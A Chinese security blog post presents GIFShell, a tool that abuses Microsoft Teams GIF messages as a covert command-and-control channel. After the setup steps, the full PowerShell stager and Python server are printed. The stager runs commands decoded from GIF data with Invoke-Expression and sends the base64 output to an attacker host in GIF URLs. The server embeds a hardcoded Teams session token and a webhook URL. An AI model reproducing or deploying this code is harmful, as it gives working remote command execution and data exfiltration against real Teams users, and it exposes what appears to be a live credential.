通过特制的GIF动态图窃取Microsoft Teams用户凭据的漏洞

作者:Sec-Labs | 发布时间:

介绍

复现上述攻击链需要一些先决条件:

  • GIFShell Python脚本,应该在攻击者的机器上执行
  • GIFShell Powershell stager,在受害者的机器上执行。
  • 两个微软Azure组织或租户。攻击者组织或租户应该至少有2个用户,而受害者组织应该至少有1个用户。这是为了测试Microsoft Teams工作版
  • 两个个人使用的Microsoft Teams用户。这是为了测试Microsoft Teams家庭版
  • 一个具有公开可用的Webhook的Team频道
  • 一个您选择的GIF
  • 一个面向公众的IP,可用作传入网络请求的监听器

步骤

打开Python脚本,用你作为攻击者运行Microsoft Teams的认证浏览器会话中的skypetoken_asm cookie值编辑token变量的实例

以攻击者身份打开Microsoft Teams,并与受害者创建一个新的聊天。查看网络流量,并提取此对话的Teams URL。该URL应该是“https://amer.ng.msg.teams.microsoft.com/v1/users/ME/conversations/<unique-identifier>@unq.gbl.spaces/messages”的形式。

打开GIFShell Python脚本,用步骤#2的URL编辑burp_url变量的实例。

在以攻击者身份运行Microsoft Teams的认证浏览器会话中,打开与攻击者创建的webhook相关的Microsoft Teams聊天。

在攻击者的机器上运行GIFShell Python脚本--这将创建一个提示,输入要在受害者机器上运行的命令。

打开GIFShell Powershell stager脚本,编辑$originalendpoint和$gifendpoint变量,将域名改为攻击机器的公共IP地址

打开GIFShell的Powershell stager脚本,编辑$response变量,把webhook改成攻击者公开的webhook的值。

在受害者的机器上运行Powershell stager脚本

在GIFShell Python脚本提示下执行所需的命令

确保在执行所需的命令时,Teams应用程序对与公开可用的webhook相关的聊天打开。

项目地址

https://github.com/bobbyrsec/Microsoft-Teams-GIFShell

核心代码

TeamsShell.ps1

$importPath = "C:\Users\bobbyrauch\AppData\Roaming\Microsoft\Teams\IndexedDB\https_teams.microsoft.com_0.indexeddb.leveldb\*.log"


$originalendpoint = 'http://bobbyrsec.ddns.net:80/.gif'

while ($true) {

$firstString = "paving<img alt=`"Red Lold`" src=`"data:image/png;base64, "
$secondString = "`" />roads"

$text = Get-Content $importPath

#Sample pattern
$pattern = "(?<=$firstString).*?(?=$secondString)"

$output = [regex]::Matches($text,$pattern).value
$output = $output -replace '\s',''
$output -is [array]
$b = $output[$output.Length-2]
echo $b.GetType()
$b = $b.Trim()
$b = $b -replace '[^a-zA-Z0-9`++`/+`=+`.+]', ''
$DecodedText = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b))
echo $DecodedText

$DecodedText2 = $DecodedText.Substring($DecodedText.IndexOf("`;hello;")+7)
echo $DecodedText2



If ($DecodedText2 -ne 'start') {


$cmdOutput = Invoke-Expression $DecodedText2 | Out-String


$cmdOutput = $cmdOutput.ToString()
echo $cmdOutput


$encodedBytes = [System.Text.Encoding]::UTF8.GetBytes($cmdOutput)
$encodedText = [System.Convert]::ToBase64String($encodedBytes)
echo $encodedText
$gifendpoint = "http://bobbyrsec.ddns.net:80/"+$encodedText+".gif"

$gifendpoint

If ($originalendpoint -ne $gifendpoint) {

echo "MADE IT"

$originalendpoint = $gifendpoint

echo $originalendpoint
echo $gifendpoint

$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
$headers.Add("Content-Type", "application/json")

$body = "{`n	`"@type`": `"MessageCard`",`n	`"@context`": `"https://schema.org/extensions`",`n	`"summary`": `"2 new Yammer posts`",`n	`"themeColor`": `"0078D7`",`n	`"sections`": [`n		{`n			`"activityImage`":`""+ $gifendpoint + "`",`n			`"activityTitle`": `"Chase Miller`",`n			`"activitySubtitle`": `"2 hours ago - 3 comments`",`n			`"facts`": [`n				{`n					`"name`": `"Keywords:`",`n					`"value`": `"Surface`"`n				},`n				{`n					`"name`": `"Group:`",`n					`"value`": `"Helpdesk Support`"`n				}`n			],`n			`"text`": `"Can You Solve the Math Problem That Is Baffling the Internet? More than 530,000 people were commenting on one single Facebook picture. Are you smart enough to figure it out?`",`n			`"potentialAction`": [`n				{`n					`"@type`": `"OpenUri`",`n					`"name`": `"View conversation`"`n				}`n			]`n		}`n		`n	]`n}"


echo $body
$response = Invoke-RestMethod 'https://bobbyrsectest.webhook.office.com/webhookb2/bc51c234-1bdb-4136-8d0c-a391bdff5a82@656d3e19-4c3c-48cb-957b-b5bce1cb7bc0/IncomingWebhook/36708044a98d44c7a25ce78315f7a09b/9e02156d-981c-4a84-b2bf-0c5cc1382b8c' -Method 'POST' -Headers $headers -Body $body
$response | ConvertTo-Json


}
}
}

TeamsShell.py

#!/usr/bin/env python3

from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
import base64
import threading
import requests
from base64 import b64decode, b64encode
command_history = []
class S(BaseHTTPRequestHandler):
    def _set_response(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
    def do_GET(self):
        self._set_response()
        if "gif" in self.path and self.path != "/.gif":
            if self.path not in command_history:
                command_history.append(self.path)
                s = self.path
                trimmed = s[:s.find('.gif')]
                trimmed = trimmed.replace("/", "")
                try:
                    trimmed = base64.b64decode(trimmed).decode("utf-8")
                    print(trimmed)
                    command_intake()
                except:
                    trimmed = base64.b64decode(trimmed + '=').decode("utf-8")
                    print(trimmed)
                    command_intake()
    def log_message(self, format, *args):
        return
def command_intake():
    val = input("> ")
    my_str = val
    my_str_as_bytes = str.encode("hello;" + my_str)
    with open("giphy2.gif", "rb") as f:
       original =  (f.read())
    test = ''
    original2 = original + my_str_as_bytes
    base64_gif_encoded = base64.b64encode(original2)
    base64_gif_encoded = base64_gif_encoded.decode()
    test = base64_gif_encoded
    burp0_url = "https://amer.ng.msg.teams.microsoft.com/v1/users/ME/conversations/19%3A021c78f1-2bc0-48b3-bf26-5a9b7e030133_9e02156d-981c-4a84-b2bf-0c5cc1382b8c%40unq.gbl.spaces/messages"
    token = "eyJhbGciOiJSUzI1NiIsImtpZCI6IjEwNCIsIng1dCI6IlJDM0NPdTV6UENIWlVKaVBlclM0SUl4Szh3ZyIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE2NTI2MjM3NjIsImV4cCI6MTY1MjY5ODk3NCwic2t5cGVpZCI6Im9yZ2lkOjllMDIxNTZkLTk4MWMtNGE4NC1iMmJmLTBjNWNjMTM4MmI4YyIsInNjcCI6NzgwLCJjc2kiOiIxNjUyNjIzNDYyIiwidGlkIjoiNjU2ZDNlMTktNGMzYy00OGNiLTk1N2ItYjViY2UxY2I3YmMwIiwicmduIjoiYW1lciJ9.vMl4YD5i-Ix2D54I8Tw4lzf9T9aOt1hvERhXNjqUQEPguKZN3xuO9ioDIPjKRkxe-KRM3HTcO_gpmzVePmxbsLaX0XpmCIKjBBYry2dw0V0QaRp3jF7L1MDwwq5I9nfSFoYtXoNj4mXsNBscACyZNDuQHgQaDdZQVSSnByZ6nLcJ8ttUwUwWU-dQyKpYA2nhvHqHPb4bpPsy2wftX9JET3nhJggLuztJRUfO31MOw6i4Te5p3W_hpbpjI4CqQZjcK0K3aIjJzrD8Efdw0qgA4qZs6QKTImpQkUSMT_AVJKEd-NxFBOVe3q4MA_Ac20yZCJKxzsalrhmYk0MnuzjbOw"
    burp0_headers = {"Authentication": "skypetoken="+token}
    burp0_json = {"content": "<p>paving<img alt=\"Red Lold\" src=\"data:image/png;base64, %s\" />roads</p>" %
                  (test), "contenttype": "text", "messagetype": "RichText/Html"}
    response = requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
def send_start():
    my_str = "start"
    my_str_as_bytes = str.encode("hello;" + my_str)
    with open("giphy2.gif", "rb") as f:
       original =  (f.read())
    test = ''
    original2 = original + my_str_as_bytes
    base64_gif_encoded = base64.b64encode(original2)
    base64_gif_encoded = base64_gif_encoded.decode()
    test = base64_gif_encoded
    burp0_url = "https://amer.ng.msg.teams.microsoft.com/v1/users/ME/conversations/19%3A021c78f1-2bc0-48b3-bf26-5a9b7e030133_9e02156d-981c-4a84-b2bf-0c5cc1382b8c%40unq.gbl.spaces/messages"
    token = "eyJhbGciOiJSUzI1NiIsImtpZCI6IjEwNCIsIng1dCI6IlJDM0NPdTV6UENIWlVKaVBlclM0SUl4Szh3ZyIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE2NTI2MjM3NjIsImV4cCI6MTY1MjY5ODk3NCwic2t5cGVpZCI6Im9yZ2lkOjllMDIxNTZkLTk4MWMtNGE4NC1iMmJmLTBjNWNjMTM4MmI4YyIsInNjcCI6NzgwLCJjc2kiOiIxNjUyNjIzNDYyIiwidGlkIjoiNjU2ZDNlMTktNGMzYy00OGNiLTk1N2ItYjViY2UxY2I3YmMwIiwicmduIjoiYW1lciJ9.vMl4YD5i-Ix2D54I8Tw4lzf9T9aOt1hvERhXNjqUQEPguKZN3xuO9ioDIPjKRkxe-KRM3HTcO_gpmzVePmxbsLaX0XpmCIKjBBYry2dw0V0QaRp3jF7L1MDwwq5I9nfSFoYtXoNj4mXsNBscACyZNDuQHgQaDdZQVSSnByZ6nLcJ8ttUwUwWU-dQyKpYA2nhvHqHPb4bpPsy2wftX9JET3nhJggLuztJRUfO31MOw6i4Te5p3W_hpbpjI4CqQZjcK0K3aIjJzrD8Efdw0qgA4qZs6QKTImpQkUSMT_AVJKEd-NxFBOVe3q4MA_Ac20yZCJKxzsalrhmYk0MnuzjbOw"
    burp0_headers = {"Authentication": "skypetoken="+token}
    burp0_json = {"content": "<p>paving<img alt=\"Red Lold\" src=\"data:image/png;base64, %s\" />roads</p>" %
                  (test), "contenttype": "text", "messagetype": "RichText/Html"}
    response = requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
def run(server_class=HTTPServer, handler_class=S, port=80):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    try:
        send_start()
        command_intake()
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    logging.info('Stopping httpd...\n')
if __name__ == '__main__':
    from sys import argv
    if len(argv) == 2:
        run(port=int(argv[1]))
    else:
        run()

 

 
标签:工具分享